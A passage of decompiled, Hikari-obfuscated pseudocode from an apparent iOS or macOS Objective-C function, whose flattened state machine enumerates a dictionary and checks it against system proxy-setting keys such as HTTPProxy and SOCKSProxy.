else if ( v65 <= -182324271 )
{
if ( v65 > -199085137 )
{
if ( v65 == -199085136 )
{
v8 = 0;
v2 = -2023693697;
v9 = -697007095;
goto LABEL_684;
}
if ( v65 == -183014970 )
{
v116 = v59 == 0;
*v145 = -395958290;
}
}
else if ( v65 == -212911691 )
{
*v145 = -515054893;
}
else if ( v65 == -211277889 )
{
v6 = 1;
v2 = 1083685123;
v7 = -28318250;
goto LABEL_704;
}
}
else if ( v65 <= -84630787 )
{
if ( v65 == -182324270 )
{
v49 = (unsigned __int8)HikariFunctionWrapper_18919(v144, v143);
v6 = 1;
v110 = v49;
v2 = 1520518895;
v7 = -1728473561;
goto LABEL_704;
}
if ( v65 == -112252660 )
{
objc_msgSend(v144, v143, CFSTR("\x9D\xF6\xF9\x4B\x74I\x18\xFD\xC5\x53"));
*v145 = 1803372896;
}
}
else
{
switch ( v65 )
{
case -84630786:
v8 = 0;
v2 = 1983609042;
v9 = 1370895395;
goto LABEL_684;
case -80527347:
*v145 = 1559734134;
break;
case -67970374:
v81 = v80 != 0;
v6 = 1;
v2 = -2023077140;
v7 = 536766477;
goto LABEL_704;
}
}
}
else if ( v65 <= -479137690 )
{
if ( v65 > -522692486 )
{
if ( v65 > -515054894 )
{
if ( v65 == -515054893 )
{
v6 = 0;
v2 = 456200712;
v7 = 1700992506;
goto LABEL_704;
}
if ( v65 == -490736925 )
{
v105 = v104 == 0;
v4 = 0;
v2 = -490736925;
v5 = 989533417;
goto LABEL_690;
}
}
else
{
if ( v65 == -522692485 )
{
v8 = 0;
v2 = -1069948276;
v9 = 1680007724;
goto LABEL_684;
}
if ( v65 == -515951660 )
{
v6 = 1;
v86 = v136 & 1 | (v85 != 0);
v2 = -515951660;
v7 = 233698397;
goto LABEL_704;
}
}
}
else if ( v65 > -531750593 )
{
if ( v65 == -531750592 )
{
v1 = !v103;
v2 = -2072440056;
v3 = 386810027;
goto LABEL_711;
}
if ( v65 == -530262013 )
{
v4 = 1;
v2 = 503737446;
v5 = 40595782;
goto LABEL_690;
}
}
else
{
if ( v65 == -568805224 )
{
v6 = 1;
v2 = -462696547;
v7 = 1351662223;
goto LABEL_704;
}
if ( v65 == -559186483 )
*v145 = -366626990;
}
}
else if ( v65 <= -462696548 )
{
if ( v65 > -471209307 )
{
if ( v65 == -471209306 )
{
v99 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("W\x1F\n;{\x16\rs\xB3\x1A\nO")) == 0;
v4 = 1;
v2 = 590606654;
v5 = -941670378;
goto LABEL_690;
}
if ( v65 == -468889272 )
{
v1 = 0;
v2 = -1025181871;
v3 = 971558011;
goto LABEL_711;
}
}
else if ( v65 == -479137689 )
{
*v145 = -961976381;
}
else if ( v65 == -473736241 )
{
v15 = -84630786;
if ( v96 )
v15 = 1309856283;
*v145 = v15;
v129 = v140;
}
}
else if ( v65 <= -430678769 )
{
if ( v65 == -462696547 )
{
*v145 = 1351662223;
}
else if ( v65 == -444501563 )
{
v89 = v88 != 0;
v4 = 0;
v2 = 115879995;
v5 = -1058941258;
goto LABEL_690;
}
}
else
{
switch ( v65 )
{
case -430678768:
v137 = v125;
v6 = 1;
v2 = 797091887;
goto LABEL_645;
case -415713225:
v1 = !v111;
v2 = -2072440056;
v3 = 818660821;
goto LABEL_711;
case -395958290:
v4 = 1;
v2 = 1152545043;
v5 = 2134260314;
goto LABEL_690;
}
}
}
else if ( v65 > -962186097 )
{
if ( v65 <= -825521511 )
{
if ( v65 > -905863954 )
{
if ( v65 > -861172228 )
{
if ( v65 == -861172227 )
{
*v145 = 1245553067;
}
else if ( v65 == -860765973 )
{
v8 = 0;
v2 = 236439046;
v9 = 1829147564;
goto LABEL_684;
}
}
else if ( v65 == -905863953 )
{
*v145 = -740640206;
}
else if ( v65 == -867133410 )
{
*v145 = 1309856283;
v129 = v98;
}
}
else if ( v65 > -941670379 )
{
if ( v65 == -941670378 )
{
objc_msgSend(v144, v143, CFSTR("W\x1F\n;{\x16\rs\xB3\x1A\nO"));
*v145 = -471209306;
}
else if ( v65 == -906628624 )
{
*v145 = 1956789766;
}
}
else if ( v65 == -962186096 )
{
*v145 = 2035276062;
}
else if ( v65 == -961976381 )
{
v4 = 1;
v2 = 1919267111;
v5 = 132996731;
goto LABEL_690;
}
}
else if ( v65 <= -728407458 )
{
if ( v65 > -747674711 )
{
if ( v65 == -747674710 )
{
*v145 = -515951660;
}
else if ( v65 == -740640206 )
{
v8 = 0;
v2 = 284582053;
v9 = 1715245731;
goto LABEL_684;
}
}
else if ( v65 == -825521510 )
{
asc_100279FD9[0] = 37;
asc_100279FD9[1] = 64;
asc_100279FD9[2] = 0;
strcpy(asc_10027746E, "GopherEnable");
asc_100288F11[0] = 82;
asc_100288F11[1] = 84;
asc_100288F11[2] = 83;
asc_100288F11[3] = 80;
asc_100288F11[4] = 80;
asc_100288F11[5] = 111;
asc_100288F11[6] = 114;
asc_100288F11[7] = 116;
asc_100288F11[8] = 0;
asc_1002774B0[0] = 80;
asc_1002774B0[1] = 114;
*v145 = -1063200978;
}
else if ( v65 == -805420734 )
{
*v145 = 1819226765;
}
}
else if ( v65 <= -697007096 )
{
if ( v65 == -728407457 )
{
v48 = (unsigned __int8)objc_msgSend(v119, v72, CFSTR("l\xA1"));
v6 = 0;
v80 = v48;
v2 = -1665751386;
v7 = 1023149276;
goto LABEL_704;
}
if ( v65 == -727476357 )
{
v29 = v89 | v137;
*v145 = -1327784234;
v126 = v29 & 1;
}
}
else
{
switch ( v65 )
{
case -697007095:
*v145 = -2023693697;
break;
case -653732067:
v47 = 659631153;
if ( v87 )
v47 = -1327784234;
*v145 = v47;
v126 = v137;
break;
case -609916333:
v118 = v130;
v8 = (unsigned __int8)objc_msgSend(
v144,
v143,
CFSTR("\xCB\x39\xAF\xF5\xCC\x06\xE4\xE8\x70\x68")) == 0;
v2 = -2072440056;
v9 = -337878868;
goto LABEL_684;
}
}
}
else if ( v65 <= -1064354169 )
{
if ( v65 > -1125401054 )
{
if ( v65 > -1085687559 )
{
if ( v65 == -1085687558 )
{
v73 = v64 == 0;
*v145 = 1600757180;
}
else if ( v65 == -1069948276 )
{
asc_1002774B0[2] = 111;
asc_1002774B0[3] = 120;
asc_1002774B0[4] = 121;
asc_1002774B0[5] = 65;
asc_1002774B0[6] = 117;
asc_1002774B0[7] = 116;
asc_1002774B0[8] = 111;
asc_1002774B0[9] = 67;
asc_1002774B0[10] = 111;
asc_1002774B0[11] = 110;
asc_1002774B0[12] = 102;
asc_1002774B0[13] = 105;
asc_1002774B0[14] = 103;
asc_1002774B0[15] = 69;
asc_1002774B0[16] = 110;
asc_1002774B0[17] = 97;
asc_1002774B0[18] = 98;
asc_1002774B0[19] = 108;
asc_1002774B0[20] = 101;
asc_1002774B0[21] = 0;
strcpy(a4_6, "HTTPSProxy");
strcpy(asc_1002773EB, "RTSPEnable");
strcpy(asc_100277485, "FTPEnable");
v6 = 1;
aXd[0] = 72;
v2 = -1069948276;
v7 = 1363755770;
goto LABEL_704;
}
}
else
{
if ( v65 == -1125401053 )
{
v6 = 1;
v2 = -2075962118;
v7 = 1245144756;
goto LABEL_704;
}
if ( v65 == -1101832355 )
{
v14 = -1175423622;
if ( v90 )
v14 = -1190416714;
*v145 = v14;
v127 = v138;
}
}
}
else if ( v65 > -1165780078 )
{
if ( v65 == -1165780077 )
{
*v145 = 406042933;
}
else if ( v65 == -1139785090 )
{
v6 = 1;
v2 = 1045474337;
v7 = 810909109;
goto LABEL_704;
}
}
else
{
if ( v65 == -1190416714 )
{
v139 = v127;
v1 = 0;
v2 = 2003985427;
v3 = -2036385908;
goto LABEL_711;
}
if ( v65 == -1175423622 )
{
v6 = 0;
v2 = 1589689078;
v7 = -1928251007;
goto LABEL_704;
}
}
}
else if ( v65 <= -1025181872 )
{
if ( v65 > -1058941259 )
{
if ( v65 == -1058941258 )
{
*v145 = -727476357;
}
else if ( v65 == -1050880881 )
{
v142 = v131;
objc_release(v119);
objc_release(v144);
v21 = v62 + 1;
v22 = -1526770566;
if ( (id)(v62 + 1) == v55 )
v22 = 1360152556;
*v145 = v22;
v121 = v142;
v61 = v21;
}
}
else
{
if ( v65 == -1064354168 )
{
v6 = 1;
v78 = v133 & 1 | (v77 != 0);
v2 = 671851346;
v7 = 38012019;
goto LABEL_704;
}
if ( v65 == -1063200978 )
{
asc_100279FD9[0] = 37;
asc_100279FD9[1] = 64;
asc_100279FD9[2] = 0;
strcpy(asc_10027746E, "GopherEnable");
asc_100288F11[0] = 82;
v4 = 1;
asc_100288F11[1] = 84;
asc_100288F11[2] = 83;
asc_100288F11[3] = 80;
asc_100288F11[4] = 80;
asc_100288F11[5] = 111;
asc_100288F11[6] = 114;
asc_100288F11[7] = 116;
asc_100288F11[8] = 0;
asc_1002774B0[0] = 80;
asc_1002774B0[1] = 114;
v2 = 131199912;
v5 = -1063200978;
goto LABEL_690;
}
}
}
else if ( v65 <= -1007746245 )
{
if ( v65 == -1025181871 )
{
*v145 = 971558011;
}
else if ( v65 == -1023076557 )
{
v1 = 0;
v2 = -559186483;
v3 = -366626990;
goto LABEL_711;
}
}
else
{
switch ( v65 )
{
case -1007746244:
v4 = 0;
v2 = 671851346;
v5 = -1064354168;
goto LABEL_690;
case -981030012:
v6 = 0;
v2 = -515951660;
v7 = -747674710;
goto LABEL_704;
case -970861732:
*v145 = -2000061045;
break;
}
}
}
if ( v65 <= 1083685122 )
break;
if ( v65 > 1600757179 )
{
if ( v65 > 1956789765 )
{
if ( v65 <= 2030600072 )
{
if ( v65 > 1992250497 )
{
if ( v65 > 1999287191 )
{
if ( v65 == 1999287192 )
{
v1 = 0;
v64 = dword_10029F5F8;
v2 = -1929526680;
v3 = 1159825895;
goto LABEL_711;
}
if ( v65 == 2003985427 )
{
objc_msgSend(v144, v143, CFSTR("\xFC\x05\xFD\x06\xBB2\xBA\xA0\xB5"));
*v145 = -2036385908;
}
}
else if ( v65 == 1992250498 )
{
*v145 = -1368283752;
}
else if ( v65 == 1993006456 )
{
v19 = -2072440056;
if ( v115 )
v19 = -1050880881;
*v145 = v19;
v131 = v118;
}
}
else if ( v65 > 1973579308 )
{
if ( v65 == 1973579309 )
{
v6 = 0;
v2 = -1368283752;
v7 = 1992250498;
goto LABEL_704;
}
if ( v65 == 1983609042 )
{
v97 = (unsigned __int8)objc_msgSend(v119, v72, CFSTR("l\xA1")) != 0;
v6 = 1;
v2 = 1370895395;
v7 = 541926412;
goto LABEL_704;
}
}
else
{
if ( v65 == 1956789766 )
{
v4 = 1;
v54 = v71 + 1;
v2 = -1657166149;
v5 = 1956789766;
goto LABEL_690;
}
if ( v65 == 1965456152 )
*v145 = 1490902523;
}
}
else if ( v65 <= 2066916827 )
{
if ( v65 > 2035276061 )
{
if ( v65 == 2035276062 )
{
v6 = 1;
v2 = 2035276062;
v7 = -531750592;
goto LABEL_704;
}
if ( v65 == 2043979476 )
{
v25 = HikariFunctionWrapper_18909(&OBJC_CLASS___NSString, v68);
v144 = objc_retainAutoreleasedReturnValue(v25);
v26 = objc_msgSend(v70, v58, v69);
v27 = objc_retainAutoreleasedReturnValue(v26);
v0 = CFSTR("l\xA1");
v28 = HikariFunctionWrapper_18911(&OBJC_CLASS___NSString, v68);
v119 = objc_retainAutoreleasedReturnValue(v28);
objc_release(v27);
v76 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("\xB4\x85\x00j\x93\xD9\x18\x19")) == 0;
v6 = 1;
v2 = 2043979476;
v7 = -1527200318;
goto LABEL_704;
}
}
else
{
if ( v65 == 2030600073 )
{
v6 = 1;
v2 = 2133844646;
v7 = 1436449496;
goto LABEL_704;
}
if ( v65 == 2032116162 )
*v145 = -183014970;
}
}
else if ( v65 <= 2133844645 )
{
if ( v65 == 2066916828 )
{
*v145 = 721413754;
}
else if ( v65 == 2084509907 )
{
v4 = 0;
v2 = -388715603;
v5 = -1936807661;
goto LABEL_690;
}
}
else
{
switch ( v65 )
{
case 2133844646:
*v145 = 2030600073;
break;
case 2134260314:
*v145 = 1152545043;
break;
case 2139665422:
v10 = objc_msgSend(obj, v56, v71, v66, 16);
v4 = 0;
v59 = v10;
v2 = -2036495781;
v5 = 2032116162;
goto LABEL_690;
}
}
}
else if ( v65 <= 1716638164 )
{
if ( v65 > 1675191153 )
{
if ( v65 > 1700992505 )
{
if ( v65 == 1700992506 )
{
v42 = v71;
*((_OWORD *)v71 + 3) = 0;
*((_OWORD *)v42 + 2) = 0;
*((_OWORD *)v42 + 1) = 0;
*(_OWORD *)v42 = 0;
v43 = objc_msgSend(v70, "keyEnumerator");
v44 = objc_retainAutoreleasedReturnValue(v43);
objc_msgSend(v44, "countByEnumeratingWithState:objects:count:", v71, v66, 16);
*v145 = 456200712;
}
else if ( v65 == 1715245731 )
{
*v145 = 284582053;
}
}
else
{
if ( v65 == 1675191154 )
{
v40 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("4%\x19\xC2\xCF\x17\"\xBB-"));
v4 = 1;
v102 = v40;
v2 = -1356335069;
goto LABEL_619;
}
if ( v65 == 1680007724 )
{
asc_1002774B0[2] = 111;
asc_1002774B0[3] = 120;
asc_1002774B0[4] = 121;
asc_1002774B0[5] = 65;
asc_1002774B0[6] = 117;
asc_1002774B0[7] = 116;
asc_1002774B0[8] = 111;
asc_1002774B0[9] = 67;
asc_1002774B0[10] = 111;
asc_1002774B0[11] = 110;
asc_1002774B0[12] = 102;
asc_1002774B0[13] = 105;
asc_1002774B0[14] = 103;
asc_1002774B0[15] = 69;
asc_1002774B0[16] = 110;
asc_1002774B0[17] = 97;
asc_1002774B0[18] = 98;
asc_1002774B0[19] = 108;
asc_1002774B0[20] = 101;
asc_1002774B0[21] = 0;
strcpy(a4_6, "HTTPSProxy");
strcpy(asc_1002773EB, "RTSPEnable");
strcpy(asc_100277485, "FTPEnable");
aXd[0] = 72;
*v145 = -1069948276;
}
}
}
else if ( v65 > 1658644411 )
{
if ( v65 == 1658644412 )
{
v1 = !v113;
v2 = -2072440056;
v3 = 1211743477;
goto LABEL_711;
}
if ( v65 == 1665045853 )
{
HikariFunctionWrapper_18927(v119, v72);
*v145 = 465654464;
}
}
else
{
if ( v65 == 1600757180 )
{
v4 = 1;
v2 = 762492104;
v5 = 1311037833;
goto LABEL_690;
}
if ( v65 == 1641786269 )
{
v1 = 0;
v2 = 286686142;
v3 = -1809619425;
goto LABEL_711;
}
}
}
else if ( v65 <= 1819226764 )
{
if ( v65 > 1737242982 )
{
if ( v65 == 1737242983 )
{
*v145 = 1583363111;
}
else if ( v65 == 1803372896 )
{
v24 = (unsigned __int8)objc_msgSend(
v144,
v143,
CFSTR("\x9D\xF6\xF9\x4B\x74I\x18\xFD\xC5\x53"));
v1 = 0;
v104 = v24;
v2 = -112252660;
v3 = 224737550;
goto LABEL_711;
}
}
else
{
if ( v65 == 1716638165 )
{
v6 = 0;
v2 = 2035276062;
v7 = -962186096;
goto LABEL_704;
}
if ( v65 == 1728404666 )
*v145 = -38647095;
}
}
else if ( v65 <= 1829147563 )
{
if ( v65 == 1819226765 )
{
v6 = 1;
v2 = 1819226765;
v7 = 1658644412;
LABEL_704:
if ( v6 )
v2 = v7;
goto LABEL_713;
}
if ( v65 == 1822864008 )
*v145 = -860765973;
}
else
{
switch ( v65 )
{
case 1829147564:
*v145 = 236439046;
break;
case 1917735862:
v1 = !v105;
v2 = -2072440056;
v3 = 502585996;
goto LABEL_711;
case 1919267111:
v6 = 0;
v2 = -2129720843;
v7 = 1919267111;
goto LABEL_704;
}
}
}
else if ( v65 > 1360152555 )
{
if ( v65 <= 1490902522 )
{
if ( v65 > 1436449495 )
{
if ( v65 > 1452789647 )
{
if ( v65 == 1452789648 )
{
v1 = 0;
v2 = -2097278768;
v3 = 577771657;
goto LABEL_711;
}
if ( v65 == 1472620722 )
*v145 = 1716638165;
}
else
{
if ( v65 == 1436449496 )
{
v1 = !v107;
v2 = -2072440056;
v3 = -1139785090;
goto LABEL_711;
}
if ( v65 == 1442316415 )
{
v1 = !v73;
v2 = 1641786269;
v3 = -1315999639;
goto LABEL_711;
}
}
}
else if ( v65 > 1363755769 )
{
if ( v65 == 1363755770 )
{
*v145 = -1125401053;
}
else if ( v65 == 1370895395 )
{
objc_msgSend(v119, v72, CFSTR("l\xA1"));
*v145 = 1983609042;
}
}
else
{
if ( v65 == 1360152556 )
{
v6 = 1;
v2 = -2036495781;
v7 = 2139665422;
goto LABEL_704;
}
if ( v65 == 1361641407 )
*v145 = 851428670;
}
}
else if ( v65 <= 1582489974 )
{
if ( v65 > 1520518894 )
{
if ( v65 == 1520518895 )
{
objc_msgSend(v144, v143, CFSTR("xd\xDE\xC6GW\aʣ\xBF"));
*v145 = -182324270;
}
else if ( v65 == 1559734134 )
{
v4 = 1;
v53 = **v57;
v2 = -1540472237;
v5 = -80527347;
goto LABEL_690;
}
}
else if ( v65 == 1490902523 )
{
*v145 = -1991550030;
}
else if ( v65 == 1496211134 )
{
v6 = 0;
v2 = -390808393;
v7 = 1496211134;
goto LABEL_704;
}
}
else if ( v65 <= 1589689077 )
{
if ( v65 == 1582489975 )
{
*v145 = 226209131;
}
else if ( v65 == 1583363111 )
{
v75 = **v57 == v53;
v6 = 1;
v2 = 1583363111;
v7 = 190623474;
goto LABEL_704;
}
}
else
{
switch ( v65 )
{
case 1589689078:
v91 = (unsigned __int8)objc_msgSend(v119, v72, CFSTR("l\xA1")) != 0;
v4 = 0;
v2 = -1928251007;
v5 = -1999425522;
goto LABEL_690;
case 1593819789:
v4 = 1;
v68 = "stringWithFormat:";
v58 = "valueForKey:";
v143 = "isEqual:";
v72 = "containsString:";
v2 = 1295628021;
v5 = -1738892296;
LABEL_690:
if ( !v4 )
v2 = v5;
goto LABEL_713;
case 1600682780:
*v145 = -981030012;
break;
}
}
}
else if ( v65 <= 1211743476 )
{
if ( v65 > 1159825894 )
{
if ( v65 > 1186333161 )
{
if ( v65 == 1186333162 )
{
v77 = (unsigned __int8)objc_msgSend(v119, v72, CFSTR("l\xA1"));
*v145 = -1007746244;
}
else if ( v65 == 1200652631 )
{
v134 = v122;
v6 = 0;
v2 = -1756014460;
v7 = -1456399608;
goto LABEL_704;
}
}
else if ( v65 == 1159825895 )
{
*v145 = -1085687558;
}
else if ( v65 == 1171917684 )
{
*v145 = 1641786269;
}
}
else if ( v65 > 1143082448 )
{
if ( v65 == 1143082449 )
{
v41 = -1388816866;
if ( v79 )
v41 = -1359974238;
*v145 = v41;
v123 = v134;
}
else if ( v65 == 1152545043 )
{
v1 = 0;
v2 = 1152545043;
v3 = -1699108111;
goto LABEL_711;
}
}
else if ( v65 == 1083685123 )
{
*v145 = -28318250;
}
else if ( v65 == 1112211908 )
{
v6 = 0;
v92 = (v91 | v138) & 1;
v2 = -479137689;
LABEL_639:
v7 = 270168877;
goto LABEL_704;
}
}
else if ( v65 <= 1295628020 )
{
if ( v65 > 1245144755 )
{
if ( v65 == 1245144756 )
{
aXd[1] = 84;
aXd[2] = 84;
aXd[3] = 80;
aXd[4] = 83;
aXd[5] = 80;
aXd[6] = 111;
aXd[7] = 114;
aXd[8] = 116;
aXd[9] = 0;
strcpy(aWS, "SOCKSEnable");
strcpy(aE68, "HTTPSEnable");
strcpy(asc_100288EFD, "SOCKSProxy");
strcpy(asc_100277430, "ProxyAutoDiscoveryEnable");
asc_100288E98[0] = 70;
asc_100288E98[1] = 84;
asc_100288E98[2] = 80;
asc_100288E98[3] = 80;
asc_100288E98[4] = 111;
asc_100288E98[5] = 114;
asc_100288E98[6] = 116;
asc_100288E98[7] = 0;
asc_100288F30[0] = 49;
asc_100288F30[1] = 0;
strcpy(asc_1002774D1, "HTTPEnable");
strcpy(asc_100288EBD, "GopherPort");
strcpy(asc_100288EE8, "HTTPProxy");
a4_7[0] = 72;
a4_7[1] = 84;
a4_7[2] = 84;
a4_7[3] = 80;
a4_7[4] = 80;
a4_7[5] = 111;
a4_7[6] = 114;
a4_7[7] = 116;
v4 = 0;
a4_7[8] = 0;
v2 = -2075962118;
v5 = 1171917684;
goto LABEL_690;
}
if ( v65 == 1245553067 )
{
v6 = 0;
v2 = 1917735862;
v7 = 1245553067;
goto LABEL_704;
}
}
else if ( v65 == 1211743477 )
{
v114 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("?\x88M\x1C\xE7\x85\x61\x7F~"));
*v145 = 1452789648;
}
else if ( v65 == 1228323773 )
{
v6 = 0;
v2 = 1559734134;
v7 = -80527347;
goto LABEL_704;
}
}
else if ( v65 <= 1309856282 )
{
if ( v65 == 1295628021 )
{
*v145 = -1526770566;
v121 = v117;
v61 = 0;
}
else if ( v65 == 1300960242 )
{
objc_msgSend(v144, v143, CFSTR("W\x1F\n;{\x16\rs\xB3\x1A\nO"));
*v145 = -1758207804;
}
}
else
{
switch ( v65 )
{
case 1309856283:
v141 = v129;
v1 = 0;
v2 = -941670378;
v3 = -471209306;
goto LABEL_711;
case 1311037833:
*v145 = 762492104;
break;
case 1351662223:
v103 = v102 == 0;
v1 = 0;
v2 = 1351662223;
v3 = 1472620722;
goto LABEL_711;
}
}
}
if ( v65 > 543364345 )
break;
if ( v65 > 228087084 )
{
if ( v65 <= 406042932 )
{
if ( v65 > 284582052 )
{
if ( v65 > 309481205 )
{
if ( v65 == 309481206 )
{
*v145 = 1496211134;
}
else if ( v65 == 386810027 )
{
v1 = 0;
v2 = -112252660;
v3 = 1803372896;
goto LABEL_711;
}
}
else
{
if ( v65 == 284582053 )
{
v109 = v108 == 0;
v6 = 0;
v2 = 732141956;
v7 = 1715245731;
goto LABEL_704;
}
if ( v65 == 286686142 )
{
dword_10029F5F8 = 1;
*v145 = -1809619425;
}
}
}
else if ( v65 > 236439045 )
{
if ( v65 == 236439046 )
{
v4 = 1;
v2 = -867133410;
v5 = 1829147564;
goto LABEL_690;
}
if ( v65 == 270168877 )
*v145 = 1112211908;
}
else
{
if ( v65 == 228087085 )
{
v6 = 0;
v2 = 226209131;
v7 = 1582489975;
goto LABEL_704;
}
if ( v65 == 233698397 )
*v145 = -211277889;
}
}
else if ( v65 <= 499354437 )
{
if ( v65 > 465654463 )
{
if ( v65 == 465654464 )
{
v39 = (unsigned __int8)objc_msgSend(v119, v72, CFSTR("l\xA1"));
v6 = 1;
v85 = v39;
v2 = 465654464;
v7 = 1600682780;
goto LABEL_704;
}
if ( v65 == 471724975 )
*v145 = 755476863;
}
else
{
if ( v65 == 406042933 )
{
v4 = 1;
v2 = 755476863;
v5 = 471724975;
goto LABEL_690;
}
if ( v65 == 456200712 )
{
v16 = v71;
*((_OWORD *)v71 + 3) = 0;
*((_OWORD *)v16 + 2) = 0;
*((_OWORD *)v16 + 1) = 0;
*(_OWORD *)v16 = 0;
v17 = objc_msgSend(v70, "keyEnumerator", 489135079);
obj = objc_retainAutoreleasedReturnValue(v17);
v56 = "countByEnumeratingWithState:objects:count:";
v18 = HikariFunctionWrapper_18907(obj, "countByEnumeratingWithState:objects:count:");
v74 = v18 == 0;
v6 = 1;
v52 = v18;
v2 = 1700992506;
v7 = -1933915650;
goto LABEL_704;
}
}
}
else if ( v65 <= 503737445 )
{
if ( v65 == 499354438 )
{
objc_msgSend(v119, v72, CFSTR("l\xA1"));
*v145 = 808867116;
}
else if ( v65 == 502585996 )
{
v106 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("\xC3\x02,V\v\x1DВ<"));
*v145 = 2084509907;
}
}
else
{
switch ( v65 )
{
case 503737446:
v1 = !v109;
v2 = -2072440056;
v3 = -1296470391;
goto LABEL_711;
case 536766477:
*v145 = -1023076557;
break;
case 541926412:
*v145 = -1577150512;
break;
}
}
}
else if ( v65 <= 40595781 )
{
if ( v65 > 12420482 )
{
if ( v65 > 29196977 )
{
if ( v65 == 29196978 )
{
v4 = v63 < 0xC6D1F459;
v2 = 1999287192;
v5 = -1929526680;
goto LABEL_690;
}
if ( v65 == 38012019 )
*v145 = 201466580;
}
else if ( v65 == 12420483 )
{
*v145 = -243813750;
}
else if ( v65 == 23109458 )
{
v113 = v112 == 0;
v1 = 0;
v2 = -1696530401;
v3 = 1056025382;
goto LABEL_711;
}
}
else if ( v65 > -28318251 )
{
if ( v65 == -28318250 )
{
v4 = 1;
v2 = 852921685;
v5 = 1083685123;
goto LABEL_690;
}
if ( v65 == 8169387 )
{
objc_msgSend(v144, v143, CFSTR("\x9A\xF9K\xA7\x1C\xBC\xC4\x55"));
*v145 = 949625561;
}
}
else
{
if ( v65 == -38647095 )
{
v6 = 0;
v98 = (v97 | v140) & 1;
v2 = 1822864008;
goto LABEL_583;
}
if ( v65 == -34762499 )
{
v90 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("`\x87\xED\x22\x3B\xBFT\xBC\xE8\x83\x23")) == 0;
v1 = 0;
v2 = -34762499;
v3 = -1101832355;
goto LABEL_711;
}
}
}
else if ( v65 <= 132996730 )
{
if ( v65 > 115879994 )
{
if ( v65 == 115879995 )
{
*v145 = -444501563;
}
else if ( v65 == 131199912 )
{
*v145 = -522692485;
}
}
else if ( v65 == 40595782 )
{
*v145 = -530262013;
}
else if ( v65 == 87068591 )
{
objc_msgSend(v144, v143, CFSTR("4%\x19\xC2\xCF\x17\"\xBB-"));
*v145 = 1675191154;
}
}
else if ( v65 <= 201466579 )
{
if ( v65 == 132996731 )
{
*v145 = 1919267111;
}
else if ( v65 == 190623474 )
{
v1 = !v75;
v2 = -1560826492;
v3 = -1532320816;
goto LABEL_711;
}
}
else
{
switch ( v65 )
{
case 201466580:
v8 = 0;
v2 = 1496211134;
v9 = 309481206;
goto LABEL_684;
case 224737550:
*v145 = -2098008826;
break;
case 226209131:
v111 = v110 == 0;
v4 = 1;
v2 = 1361641407;
v5 = 226209131;
goto LABEL_690;
}
}
}
if ( v65 <= 801643789 )
break;
if ( v65 <= 893252415 )
{
if ( v65 > 844619093 )
{
if ( v65 > 852921684 )
{
if ( v65 == 852921685 )
{
*v145 = -430678768;
v125 = v86;
}
else if ( v65 == 865267701 )
{
v55 = v60;
v117 = v120;
v4 = 0;
v2 = -1738892296;
v5 = 1593819789;
goto LABEL_690;
}
}
else
{
if ( v65 == 844619094 )
{
v1 = 0;
v2 = 674250580;
v3 = 2043979476;
goto LABEL_711;
}
if ( v65 == 851428670 )
{
v6 = 1;
v2 = -970861732;
v7 = -2000061045;
goto LABEL_704;
}
}
}
else if ( v65 > 810909108 )
{
if ( v65 == 810909109 )
{
v30 = (unsigned __int8)HikariFunctionWrapper_18917(v144, v143);
v4 = 1;
v108 = v30;
v2 = -905863953;
v5 = 1045474337;
goto LABEL_690;
}
if ( v65 == 818660821 )
*v145 = 949625561;
}
else if ( v65 == 801643790 )
{
v83 = (unsigned __int8)objc_msgSend(v119, v72, CFSTR("l\xA1"));
*v145 = 1973579309;
}
else if ( v65 == 808867116 )
{
v12 = (unsigned __int8)objc_msgSend(v119, v72, CFSTR("l\xA1"));
v1 = 0;
v88 = v12;
v2 = 499354438;
v3 = -2083999855;
goto LABEL_711;
}
}
else if ( v65 <= 979522484 )
{
if ( v65 > 949625560 )
{
if ( v65 == 949625561 )
{
v32 = (unsigned __int8)objc_msgSend(v144, v143, CFSTR("\x9A\xF9K\xA7\x1C\xBC\xC4\x55"));
v6 = 1;
v112 = v32;
v2 = 8169387;
v7 = -272368989;
goto LABEL_704;
}
if ( v65 == 971558011 )
{
v1 = 0;
v2 = 971558011;
v3 = -1222376824;
goto LABEL_711;
}
}
else if ( v65 == 893252416 )
{
*v145 = -1501049823;
v124 = v84;
}
else if ( v65 == 896769023 )
{
v13 = 1186333162;
if ( v76 )
v13 = 1200652631;
*v145 = v13;
v122 = v133;
}
}
else if ( v65 <= 1023149275 )
{
if ( v65 == 979522485 )
{
*v145 = -1339510281;
}
else if ( v65 == 989533417 )
{
*v145 = -1341945082;
}
}
else
{
switch ( v65 )
{
case 1023149276:
HikariFunctionWrapper_18925(v119, v72);
*v145 = -728407457;
break;
case 1045474337:
HikariFunctionWrapper_18931(v144, v143);
*v145 = 810909109;
break;
case 1056025382:
*v145 = -1576277078;
break;
}
}
}
if ( v65 <= 674250579 )
break;
if ( v65 > 755476862 )
{
if ( v65 > 769765122 )
{
if ( v65 == 769765123 )
{
*v145 = -1532320816;
}
else if ( v65 == 797091887 )
{
HikariFunctionWrapper_18929(v144, v143);
*v145 = -226536013;
}
}
else if ( v65 == 755476863 )
{
*v145 = 893252416;
}
else if ( v65 == 762492104 )
{
v6 = 0;
v2 = 1442316415;
v7 = 762492104;
goto LABEL_704;
}
}
else if ( v65 > 732141955 )
{
if ( v65 == 732141956 )
{
*v145 = 571716424;
}
else if ( v65 == 749314622 )
{
v4 = 1;
v2 = -444501563;
v5 = 115879995;
goto LABEL_690;
}
}
else if ( v65 == 674250580 )
{
v33 = HikariFunctionWrapper_18921(&OBJC_CLASS___NSString, v68);
v34 = objc_retainAutoreleasedReturnValue(v33);
v35 = objc_msgSend(v70, v58, v69);
v36 = objc_retainAutoreleasedReturnValue(v35);
v0 = CFSTR("l\xA1");
v37 = objc_msgSend(&OBJC_CLASS___NSString, v68, CFSTR("\xD2\x373"), v36);
objc_retainAutoreleasedReturnValue(v37);
objc_release(v36);
HikariFunctionWrapper_18923(v34, v143);
*v145 = 2043979476;
}
else if ( v65 == 721413754 )
{
v8 = 0;
v2 = -1603975742;
LABEL_635:
v9 = -1211610366;
goto LABEL_684;
}
}
if ( v65 > 590606653 )
break;
if ( v65 > 571716423 )
{
if ( v65 == 571716424 )
{
v6 = 1;
v2 = 40595782;
v7 = -530262013;
goto LABEL_704;
}
if ( v65 == 577771657 )
{
v115 = v114 == 0;
v4 = 1;
v2 = 1965456152;
v5 = 577771657;
goto LABEL_690;
}
}
else if ( v65 == 543364346 )
{
